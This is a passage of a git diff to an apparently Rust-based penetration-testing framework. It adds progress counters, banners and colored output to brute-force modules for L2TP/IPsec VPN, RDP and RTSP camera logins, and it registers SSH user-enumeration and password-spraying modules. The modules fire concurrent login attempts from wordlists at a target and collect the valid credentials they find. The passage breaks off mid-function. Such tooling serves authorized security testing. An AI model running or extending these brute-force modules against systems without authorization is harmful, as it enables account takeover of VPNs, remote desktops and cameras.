||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -178,17 +296,26 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
println!(" {} {} -> {}:{}", "✓".green(), host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
@@ -367,12 +494,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
|
||||
@@ -7,7 +7,8 @@ use std::{
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
sync::atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
@@ -15,9 +16,89 @@ use tokio::{
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ L2TP/IPsec VPN Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Requires strongswan, xl2tpd, or pppd ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== L2TP/IPsec VPN Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("L2TP/IPsec Port (IKE)", "500")?;
|
||||
@@ -104,6 +185,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let addr = normalize_target(target, port)?;
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
@@ -127,6 +209,23 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let total_attempts = if combo_mode { users.len() * passwords.len() } else { passwords.len() };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
@@ -149,6 +248,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -166,18 +266,25 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user_clone, &pass_clone, &psk_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold());
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -199,6 +306,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
@@ -216,18 +324,25 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user, &pass_clone, &psk_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold());
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -248,15 +363,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Wait for remaining tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
@@ -4,6 +4,8 @@
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod ssh_spray;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
|
||||
@@ -6,7 +6,8 @@ use std::{
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
sync::atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
@@ -14,9 +15,90 @@ use tokio::{
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ RDP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Remote Desktop Protocol Credential Testing ║".cyan());
|
||||
println!("{}", "║ Requires xfreerdp or rdesktop ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== RDP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RDP Port", "3389")?;
|
||||
@@ -100,6 +182,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let addr = format_socket_address(target, port);
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
@@ -119,6 +202,23 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
println!("[*] Loaded {} passwords", password_count);
|
||||
|
||||
let total_attempts = if combo_mode { user_count * password_count } else { password_count };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
|
||||
@@ -165,6 +265,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
@@ -183,18 +284,25 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold());
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
@@ -235,46 +343,54 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let user = users[i % users.len()].clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold());
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Limit concurrent tasks
|
||||
if tasks.len() >= concurrency {
|
||||
@@ -290,15 +406,24 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Wait for remaining tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
@@ -9,8 +9,9 @@ use std::{
|
||||
net::SocketAddr,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
time::Instant,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
@@ -18,10 +19,91 @@ use tokio::{
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
@@ -69,6 +151,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
@@ -113,6 +196,21 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
@@ -142,6 +240,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let command = advanced_command.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
@@ -175,17 +274,28 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
{
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
|
||||
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
|
||||
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
|
||||
Ok(false) => {
|
||||
